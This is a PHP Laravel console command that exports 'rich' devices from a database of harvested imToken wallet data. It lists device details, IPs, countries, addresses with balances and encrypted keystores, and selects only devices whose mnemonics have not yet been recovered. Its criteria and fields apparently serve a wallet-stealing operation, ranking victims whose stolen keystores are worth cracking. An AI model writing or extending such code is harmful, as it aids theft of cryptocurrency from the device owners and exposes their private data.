/: * - report.md : human-readable document (device + addresses + keystore) * - report.json : machine-readable mirror of the same data */ class ExportImtokenRichCommand extends Command { protected $signature = 'coruna:export-imtoken-rich {--path= : Output directory (default storage/app/imtoken-rich-)} {--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)} {--no-md : Skip markdown report} {--no-json : Skip JSON report} {--limit= : Cap number of devices (debug)}'; protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)'; public function handle(): int { DB::disableQueryLog(); $dir = $this->resolveDir(); if ($dir === null) { return self::FAILURE; } $deviceIds = $this->candidateDeviceIds(); if ($deviceIds->isEmpty()) { $this->warn('No devices match (imToken address with balance + imToken keystore).'); return self::SUCCESS; } $this->info(sprintf('found %d candidate device(s)', $deviceIds->count())); $devices = []; foreach ($deviceIds as $id) { $payload = $this->serializeDevice((int) $id); if ($payload === null) { continue; } $devices[] = $payload; $this->line(sprintf( 'device #%d (%s) · addresses=%d · keystores=%d · usd~%s', $payload['id'], $payload['device_id'], count($payload['addresses']), count($payload['keystores']), $payload['totals']['usd_approx'], )); gc_collect_cycles(); } $summary = [ 'exported_at' => now()->toIso8601String(), 'min_usd' => (float) $this->option('min-usd'), 'device_count' => count($devices), 'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)), 'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)), 'totals' => $this->aggregateTotals($devices), ]; if (! $this->option('no-json')) { $jsonPath = $dir.'/report.json'; file_put_contents($jsonPath, json_encode( array_merge($summary, ['devices' => $devices]), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT, )); $this->info('wrote '.$jsonPath); } if (! $this->option('no-md')) { $mdPath = $dir.'/report.md'; file_put_contents($mdPath, $this->renderMarkdown($summary, $devices)); $this->info('wrote '.$mdPath); } $this->info('done. output dir: '.$dir); return self::SUCCESS; } /** * Device IDs that meet ALL criteria: * 1. has imToken wallet_addresses with any coin > 0 * 2. USD-estimated total of those imToken addresses >= --min-usd * 3. device has NO wallet_mnemonics rows (助记词未恢复) * 4. has an imToken wallet_keystore with non-empty raw_json containing * a Web3 keystore node (crypto.ciphertext + crypto.mac). */ private function candidateDeviceIds() { $minUsd = (float) $this->option('min-usd'); // Step 1: imToken addresses with balance, grouped by device. $addrRows = DB::table('wallet_addresses') ->where('source', 'imToken') ->where(function ($q) { foreach (WalletAddress::COIN_COLUMNS as $c) { $q->orWhere($c, '>', 0); } }) ->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS)) ->get(); if ($addrRows->isEmpty()) { return collect(); } // Step 2: aggregate per device, apply USD threshold. $byDevice = []; foreach ($addrRows as $row) { $id = (int) $row->device_id; if (! isset($byDevice[$id])) { $byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0); } foreach (WalletAddress::COIN_COLUMNS as $c) { $byDevice[$id][$c] += (float) ($row->{$c} ?? 0); } } $usdOk = []; foreach ($byDevice as $id => $coins) { $usd = ($coins['usdt'] ?? 0) + ($coins['trx'] ?? 0) * 0.15 + ($coins['eth'] ?? 0) * 2500 + ($coins['btc'] ?? 0) * 60000 + ($coins['bnb'] ?? 0) * 500 + ($coins['sol'] ?? 0) * 150; if ($usd >= $minUsd) { $usdOk[$id] = true; } } if ($usdOk === []) { return collect(); } $usdOkIds = array_keys($usdOk); // Step 3: exclude devices that have ANY recovered mnemonic. $withMnemonic = DB::table('wallet_mnemonics') ->whereIn('device_id', $usdOkIds) ->pluck('device_id') ->unique() ->all(); $noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic)); if ($noMnemonicIds === []) { return collect(); } // Step 4: keep only devices that have an imToken keystore with data. $ksDeviceIds = DB::table('wallet_keystores') ->where('source', 'imToken') ->whereNotNull('raw_json') ->whereIn('device_id', $noMnemonicIds) ->pluck('device_id') ->unique(); $ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values(); if ($limit = (int) $this->option('limit')) { $ids = $ids->take($limit); } return $ids; } private function serializeDevice(int $deviceId): ?array { $device = Device::query()->find($deviceId, [ 'id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'wallet_names', 'user_agent', 'created_at', ]); if ($device === null) { return null; } return [ 'id' => $device->id, 'device_id' => $device->device_id, 'channel_id' => $device->channel_id, 'model' => $device->device_model, 'ios_version' => $device->ios_version, 'ip' => $device->ip, 'country' => $device->resolvedCountry(), 'wallet_names' => $device->walletNameList(), 'user_agent' => $device->user_agent, 'created_at' => optional($device->created_at)->toIso8601String(), 'addresses' => $addresses = $this->serializeAddresses($device), 'keystores' => $this->serializeKeystores($device), 'totals' => $this->deviceTotals($addresses), ]; } private function serializeAddresses(Device $device): array { $out = []; foreach ($device->addresses() ->where('source', 'imToken') ->orderBy('id') ->cursor() as $addr ) { $coins = []; foreach (WalletAddress::COIN_COLUMNS as $col) { $raw = $addr->{$col}; if ($raw === null || $raw === '' || (float) $raw == 0.0) { continue; } $coins[$col] = WalletAddress::formatAmount($col, $raw); } $out[] = [ 'id' => $addr->id, 'address' => $addr->address, 'chain_type' => $addr->chain_type, 'derive_index' => $addr->derive_index, 'mnemonic_id' => $addr->mnemonic_id, 'monitor' => (int) $addr->monitor, 'coins' => $coins, ]; } return $out; } private function serializeKeystores(Device $device): array { $out = []; foreach ($device->keystores() ->where('source', 'imToken') ->orderBy('id') ->cursor() as $ks ) { $raw = is_array($ks->raw_json) ? $ks->raw_json : null; if ($raw === null) { $raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json'); $raw = is_string($raw) ? json_decode($raw, true) : $raw; $raw = is_array($raw) ? $raw : null; } if ($raw === null) { continue; } // imToken keystore may be nested under ['imtoken'] (from /result // ingest) or stored directly. Detect both. $node = $raw; if (isset($raw['imtoken']) && is_array($raw['imtoken'])) { $node = $raw['imtoken']; } if (! $this->isWeb3Node($node)) { continue; } $out[] = [ 'id' => $ks->id, 'source' => $ks->source, 'decrypted' => (int) $ks->decrypted, 'created_at' => optional($ks->created_at)->toIso8601String(), 'keystore' => $this->pickKeystoreFields($node), 'raw_json_len' => strlen((string) json_encode($raw)), ]; } return $out; } private function isWeb3Node(array $node): bool { $crypto = $node['crypto'] ?? null; return is_array($crypto) && isset($crypto['ciphertext'], $crypto['mac']) && is_string($crypto['ciphertext']) && is_string($crypto['mac']); } private function pickKeystoreFields(array $node): array { $crypto = $node['crypto'] ?? []; return [ 'id' => $node['id'] ?? null, 'type' => $node['type'] ?? null, 'address' => $node['address'] ?? null, 'derivationPath' => $node['derivationPath'] ?? null, 'version' => $node['version'] ?? null, 'keyHash' => $node['keyHash'] ?? null, 'crypto' => [ 'kdf' => $crypto['kdf'] ?? null, 'cipher' => $crypto['cipher'] ?? null, 'kdfparams' => $crypto['kdfparams'] ?? null, 'cipherparams' => $crypto['cipherparams'] ?? null, 'ciphertext' => $crypto['ciphertext'] ?? null, 'mac' => $crypto['mac'] ?? null, ], 'imTokenMeta' => $node['imTokenMeta'] ?? null, 'activeAccounts' => $node['activeAccounts'] ?? null, ]; } private function deviceTotals(array $addresses): array { $sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0); foreach ($addresses as $a) { foreach ($a['coins'] as $col => $val) { if (isset($sums[$col])) { $sums[$col] += (float) $val; } } } $usd = ($sums['usdt'] ?? 0) + ($sums['trx'] ?? 0) * 0.15 + ($sums['eth'] ?? 0) * 2500 + ($sums['btc'] ?? 0) * 60000 + ($sums['bnb'] ?? 0) * 500 + ($sums['sol'] ?? 0) * 150; return [ 'coins' => array_map(fn ($v) => (string) $v, $sums), 'usd_approx' => number_format((float) $usd, 2, '.', ''), ]; } private function aggregateTotals(array $devices): array { $sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0); $usd = 0.0; foreach ($devices as $d) { foreach ($d['totals']['coins'] as $col => $val) { $sums[$col] += (float) $val; } $usd += (float) $d['totals']['usd_approx']; } return [ 'coins' => array_map(fn ($v) => (string) $v, $sums), 'usd_approx' => number_format($usd, 2, '.', ''), ]; } private function resolveDir(): ?string { $path = trim((string) $this->option('path')); if ($path === '') { $path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His')); } elseif (! str_starts_with($path, '/')) { $path = base_path($path); } if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) { $this->error('Cannot create directory: '.$path); return null; } return $path; } private function renderMarkdown(array $summary, array $devices): string { return (new ExportImtokenRichMarkdown($summary, $devices))->render(); } }